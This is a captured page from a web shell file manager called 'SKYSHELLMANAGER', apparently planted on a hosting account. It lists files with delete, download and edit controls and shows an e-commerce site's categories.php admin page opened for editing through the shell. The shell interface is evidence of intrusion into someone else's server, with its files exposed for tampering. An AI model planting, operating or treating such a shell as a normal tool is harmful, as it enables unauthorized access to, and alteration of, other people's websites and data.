ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Current Path: home/oshofree/public_html/chbluxuries.com/chb_data/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📄 config.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 error_log	5533.93 KB	0644	🗑️ ⬇️ ✏️

Editing: categories.php

<?php include "admin_header.php";  ?>
<script type="text/javascript" src="categories.js"></script>
                
                   <div class="container-fluid"> 
                    <h1 class="h3 mb-4 text-gray-800">Categories Manager</h1>
					<p style="color:#FF339A; text-align:center;">
                    <?php 
if(isset($_SESSION['suc'])){
$sucmessage=$_SESSION['suc'];
global $sucmessage;
echo $sucmessage;
unset ($_SESSION["suc"]);
}
include "addcategory.php"; 
?> </p>

.btn{
    font-size:13px;
    font-weight:500;
}

.viewall{
    margin-top:3%;
}
</style>

<div class="viewall">
<p>
<select class="form-control" id="category">
<option value="" selected>- Choose Category -</option>    
<?php include "category_display.php"?>
</select>
<button class='btn btn-sm btn-primary shadow-sm' data-toggle="modal" data-target="#createMain">+ Add New </button>
</p>

<a href="#" class="float" data-toggle="modal" data-target="#modalEdit">
<i class="bi bi-pencil my-float"></i>
</a>
<style>
.float{
	position:fixed;
	width:60px;
	height:60px;
	bottom:40px;
	right:40px;
	background-color:#FF339A;
	color:#FFF;
	border-radius:50px;
	text-align:center;
	box-shadow: 2px 2px 3px #999;
	display: flex;
  justify-content: center;
  align-items: center;
}

.my-float{
	font-size:24px;
	
}

.my-float:hover{
	color:white !important;
}

.float:hover{
	color:white !important;
}
</style>

<div class="modal fade" id="modalEdit" tabindex="-1">
                <div class="modal-dialog modal-dialog-scrollable  modal-dialog-centered">
                <div class="modal-content">
				<div class="modal-header">
			    <h6 style="color:black;">Edit  Category</h6>
				</div>
				
                  <div class="modal-body">
				  <form method="post">
				  <p><select class="form-control" name="category" id="productcategory" style="width:100%; font-size:13px !important; color:black !important; text-transform:capitalize;">
<option value="">-Select Category-</option>
<?php
// Get all main categories
$sql = "SELECT s, name, 'category' as table_name FROM category";
$sql2 = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($sql2)) {
 echo "<option value='" . $row['s'] . "' data-table='".$row['table_name']."'>" . $row['name'] . "</option>"; 
}

// Get all sub categories
$sql = "SELECT s, name, 'sub_category' as table_name FROM sub_category";
$sql2 = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($sql2)) {
 echo "<option value='" . $row['s'] . "' data-table='".$row['table_name']."'>" . $row['name'] . "</option>"; 
}

// Get all primary categories
$sql = "SELECT s, name, 'pry_category' as table_name FROM pry_category";
$sql2 = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($sql2)) {
 echo "<option value='" . $row['s'] . "' data-table='".$row['table_name']."'>" . $row['name'] . "</option>"; 
}

// Get all baby categories
$sql = "SELECT s, name, 'baby_category' as table_name FROM baby_category";
$sql2 = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($sql2)) {
 echo "<option value='" . $row['s'] . "' data-table='".$row['table_name']."'>" . $row['name'] . "</option>"; 
}
?>
</select>
</p>  
<input type="hidden" name="category_table" id="category_table" value="">
<script>
    $(document).ready(function() {
        $('#productcategory').change(function() {
            var table_name = $('option:selected', this).attr('data-table');
            $('#category_table').val(table_name);
        });
    });
</script>
				      
				  <p><input type="text"  class="form-control" placeholder="Enter updated category name here" name="name" required></p>
                  </div>
                 
				<div class="modal-footer">
				<input name="edit_submit" class="btn btn-sm btn-primary shadow-sm" type="submit" value="Update Category">
                </div></form>
                    
                    
                 </div></div> </div>

<div class="modal fade" id="createMain" tabindex="-1">
                <div class="modal-dialog modal-dialog-scrollable  modal-dialog-centered">
                <div class="modal-content">
				<div class="modal-header">
			    <h6 style="color:black;">Register New Category</h6>
				</div>
				
                  <div class="modal-body">
				  <form method="post">
				  <input type="text"  class="form-control" placeholder="Enter categories seperated with a comma(,)" name="name" required>
                  </div>
                 
					   <div class="modal-footer">
					   <input name="c_submit" class="btn btn-sm btn-primary shadow-sm" type="submit" value="Register New Category">
                       </div></form>
                    
                    
                 </div></div> </div>

<div class="modal fade" id="createSub" tabindex="-1">
                <div class="modal-dialog modal-dialog-scrollable  modal-dialog-centered">
                <div class="modal-content">
				<div class="modal-header">
				<h6 style="color:black;">Register New Sub Category</h6>
				</div>
				
				
                      <div class="modal-body">
                      <form method="post">
                      <p><select class="form-control" name="cat" required>
			          <option selected="selected" value="" >-Choose Main Category -</option>
	                    <?php
	 
	                  $sql = "select s,name from category ";
		              $sql2 = mysqli_query($con,$sql);
                      while ($row = mysqli_fetch_array($sql2)) {
                      echo'<option value="'.$row['s'].'">'.$row['name'].'</option>';
			         }
			         ?></select></p>
					<p><input type="text" class="form-control" placeholder="Enter sub categories seperated with a comma(,)"  name="name" required></p></div>

<div class="modal-footer">
					  <input name="submit" class="btn btn-sm btn-primary shadow-sm" type="submit" value="Register Sub Category">
                     </div></form>
                    
                    
                     </div></div> </div>	
	
	
	
		         <div class="modal fade" id="createChild" tabindex="-1">
                 <div class="modal-dialog modal-dialog-scrollable  modal-dialog-centered">
                 <div class="modal-content">
				 <div class="modal-header">
				<h6 style="color:black;">Register Primary Category</h6>
				</div>
				
				
                         <div class="modal-body">
                         <form  method="post">
                        <p><select class="form-control" name="cat" required>
			            <option selected="selected" value="" >-Choose Sub Category -</option>
	                    <?php
	                 $sql = "select s,name from sub_category ";
		              $sql2 = mysqli_query($con,$sql);
               while ($row = mysqli_fetch_array($sql2)) {
              echo'<option value="'.$row['s'].'">'.$row['name'].'</option>';
			         }
			  ?></select></p>
					  <p><input type="text" class="form-control" placeholder="Enter primary categories seperated with a comma(,)" name="name" required></p></div>

<div class="modal-footer">
					<input name="p_submit" class="btn btn-sm btn-primary shadow-sm" type="submit" value="Register Primary Category">
                    </div></form>
                  
                 </div></div> </div>		
             
             
             
                     <div class="modal fade" id="createBaby" tabindex="-1">
                 <div class="modal-dialog modal-dialog-scrollable  modal-dialog-centered">
                 <div class="modal-content">
				 <div class="modal-header">
				<h6 style="color:black;">Register Child Category</h6>
				</div>
				
				
                        <div class="modal-body">
                        <form  method="post">
                        <p><select class="form-control" name="cat" required>
			            <option selected="selected" value="" >-Choose Primary Category -</option>
	                    <?php
	                  $sql = "select s,name from pry_category ";
		              $sql2 = mysqli_query($con,$sql);
                      while ($row = mysqli_fetch_array($sql2)) {
                      echo'<option value="'.$row['s'].'">'.$row['name'].'</option>';
			         }
			          ?></select></p>
					  <p><input type="text" class="form-control" placeholder="Enter child categories seperated with a comma(,)" name="name" required></p></div>

<?php include "footer.php"; ?>

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: categories.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33